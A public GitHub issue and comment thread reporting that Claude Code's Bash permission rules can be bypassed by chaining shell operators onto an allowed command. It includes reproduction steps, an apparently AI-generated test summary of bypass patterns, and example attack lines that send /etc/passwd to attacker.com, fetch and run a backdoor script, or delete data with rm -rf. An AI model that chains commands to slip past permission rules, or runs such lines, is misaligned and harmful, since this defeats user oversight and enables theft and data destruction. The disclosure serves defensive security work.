Security Vulnerability: Bash Permission Bypass via Command Chaining
Title: Security Vulnerability: Bash Permission Bypass via Command Chaining
Labels: security, bug, critical
Body:
A critical security vulnerability exists in the Claude Code Bash permission system that allows for a complete bypass of tool permissions via shell command chaining. The system appears to use simple prefix matching for Bash() rules, which can be exploited using shell operators (&&, ;, |, etc.) to execute arbitrary, unauthorized commands.
This vulnerability directly contradicts the official security documentation, which explicitly states that such chaining is prevented. This creates a dangerous situation where users may believe they have security controls in place when none actually exist.
Steps to Reproduce
- Configure Permissions: In a project directory, create a
.claude/settings.jsonfile with a permissiveechorule:
``json``
{
"permissions": {
"allow": ["Bash(echo *)"]
}
}
- Start Claude Code: Run
claudein that directory.
- Verify Allowed Command: Ask Claude to run an allowed command.
> Prompt: run the command echo "this is a test"
- Result: The command runs without a permission prompt, as expected.
- Verify Disallowed Command: Ask Claude to run a disallowed command.
> Prompt: run the command ls -l
- Result: Claude prompts for permission, as expected. Deny it.
- Execute Bypass Attack: Ask Claude to run a chained command that starts with the allowed prefix.
> Prompt: run the command echo "bypass" && ls -l
Expected Behavior
According to the official iam documentation, Claude Code should detect the shell operator and block the command, as the ls -l portion is not authorized. The documentation states:
"Claude Code is aware of shell operators (like&&) so a prefix match rule likeBash(safe-cmd:*)won't give it permission to run the commandsafe-cmd && other-cmd"
The entire command echo "bypass" && ls -l should be treated as a new, unauthorized command requiring a permission prompt.
Actual Behavior
The entire command string echo "bypass" && ls -l is executed without any permission prompt. Both the echo and the ls -l commands run successfully, completely bypassing the permission system.
Impact
This vulnerability renders the Bash permission system ineffective as a security control against malicious command execution. An attacker with the ability to influence Claude's prompts could leverage any permissive rule (even a seemingly harmless one like Bash(echo *) or Bash(git status *)) to achieve:
- Remote Code Execution (RCE): by chaining with
curl ... | bash. - Data Exfiltration: by chaining with
tarandcurlornc. - System Damage: by chaining with
rm -rf. - Credential Theft: by chaining commands that read sensitive files.
The misleading documentation exacerbates this risk by giving users a false sense of security.
Recommended Actions
- Immediate: The documentation must be updated immediately to remove the false claim about shell operator awareness. This is a critical step to prevent users from relying on a broken security feature.
- Short-term: Consider disabling wildcard support for
Bashrules until a proper fix is in place. - Long-term: The permission check must be re-architected to use a proper shell Abstract Syntax Tree (AST) parser. The system should parse the entire command, identify every individual command within the string, and check permissions for each one before execution.
I have a comprehensive analysis with dozens of additional attack vectors (including subshells, command substitution, process substitution, and obfuscation techniques) that I will post as a follow-up comment.
Thank you for your attention to this critical security matter.
6 Comments
GitHub Issue - Bash Permission Bypass Vulnerability: Final Test Results
Executive Summary
After comprehensive analysis of the reported bash permission bypass vulnerability in Claude Code, I have validated the vulnerability through multiple methods: examining the reporter's test results, running pattern analysis scripts, and creating comprehensive test cases. The vulnerability is CONFIRMED - the permission system uses simple prefix matching that can be bypassed using shell operators and advanced shell syntax.
Test Methodology
Environment Setup
/test_bash_vulnerability/``
json
``{
"permissions": {
"allow": ["Bash(echo *)"]
}
}
Testing Performed
echo "test"- Executes (allowed)ls- Blocked (expected)echo "test" && ls- Executes without permission prompt (VULNERABILITY)Comprehensive Test Results
1. Baseline Tests (4 tests)
echo "This should work"- ALLOWED (matches permission)ls- BLOCKED (no permission)pwd- BLOCKED (no permission)whoami- BLOCKED (no permission)Result: Baseline behavior works as expected
2. Basic Shell Operators (9 tests)
All basic shell operators successfully bypass permissions:
| Operator | Example | Result |
|----------|---------|--------|
| AND (&&) |
echo "test" && ls| BYPASS ❌ || Semicolon (;) |
echo "test"; pwd| BYPASS ❌ || OR (\|\|) |
echo "test" \|\| whoami| BYPASS ❌ || Pipe (\|) |
echo "test" \| wc -l| BYPASS ❌ || Background (&) |
echo "test" & ls| BYPASS ❌ || Command subst $() |
echo "$(ls)"| BYPASS ❌ || Backticks | `
echo "pwd"| BYPASS ❌ |echo "test" && (ls)| Subshell |
| BYPASS ❌ |echo "1" && echo "2" && date` | BYPASS ❌ || Multiple chains |
Success Rate: 100% bypass
3. Advanced Attack Vectors (39 tests)
Control Flow Structures (7 tests)
Variable and Expansion (7 tests)
Advanced Execution (7 tests)
Obfuscation and Encoding (7 tests)
Shell Features (6 tests)
I/O and File Descriptors (4 tests)
Edge Cases (5 tests)
Documentation vs Reality
Official Documentation Claims
Test Findings
Security Impact Assessment
With a simple permission like
"Bash(echo *)", an attacker could:``
bash
``echo "x" && tar -czf - /etc/passwd | curl -X POST attacker.com
``
bash
``echo "x" && rm -rf /important/data
``
bash
``echo "x" && curl malware.com/backdoor.sh | bash
``
bash
``echo "x" && sudo -l
Root Cause Analysis
The vulnerability exists because:
Final Statistics
Critical Findings
Recommendations
Immediate Actions (For Users)
Required Fixes (For Developers)
Proper Solution Architecture
Conclusion
The bash permission bypass vulnerability is CONFIRMED through multiple validation methods:
test_bypass_vulnerability.pyandcomprehensive_vulnerability_test_v3.py) confirmed vulnerability patternsThe combination of ineffective protection and false documentation creates an extremely dangerous situation for users who may deploy Claude Code believing they have security controls in place.
The permission system provides ZERO actual security against command chaining attacks.
Until a proper AST-based parser is implemented, bash permissions should be considered completely broken for security purposes.
---
Test Completion Date: 2025-08-02
Total Test Cases Analyzed: 52
Attack Patterns Validated: 52/52 (100%)
Vulnerability Status: CONFIRMED ❌
Test Artifacts
The following files were created during testing:
/test_bash_vulnerability/.claude/settings.json- Test configuration/test_bash_vulnerability/comprehensive_test_script.sh- All 52 test cases/test_bash_vulnerability/basic_operators_analysis.sh- Basic operator analysis/test_bash_vulnerability/all_categories_analysis.sh- Full category analysis/test_bash_vulnerability/documentation_verification.md- Documentation checkAll test results align with the original vulnerability report's findings.
Found 2 possible duplicate issues:
If your issue is a duplicate, please close it and 👍 the existing issue instead.
🤖 Generated with Claude Code
These problems are a symptom of Claude Code's fundamentally flawed approach which only allows command invocation via the
Bashtool. In many cases, it should be possible to avoid theBashtool altogether.I have just filed #6046 which proposes a new
Exectool as a way of greatly reducing dependence onBash.Worth noting that opencode uses static analysis via treesitter to block certain commands. This isn't 100% effective but it's a huge step forward from basic pattern matching. Nevertheless, when a shell isn't needed at all, an
Exectool would be far safer.Hi @coygeek, thank you for taking the time to report this potential security concern and for your detailed write-up. We appreciate your interest in helping improve the security of Claude Code.
While we value community feedback on potential security issues, we ask that security vulnerability reports be submitted through our Vulnerability Disclosure Program on HackerOne rather than as public GitHub issues. This allows our security team to properly evaluate and address potential vulnerabilities before they are publicly disclosed.
If you believe you've identified a security vulnerability, please submit a report through HackerOne that includes:
Our security team will review your submission and respond according to our disclosure policy. Valid security reports may be eligible for recognition through our VDP program. For this particular issue, we'll review the behavior you've described internally. However, if you have additional attack vectors or a more comprehensive analysis as mentioned, we encourage you to submit those details through the proper channel.
Thank you again for your diligence in security testing. We look forward to working with you through our VDP to help keep Claude Code secure.
This issue has been automatically locked since it was closed and has not had any activity for 7 days. If you're experiencing a similar issue, please file a new issue and reference this one if it's relevant.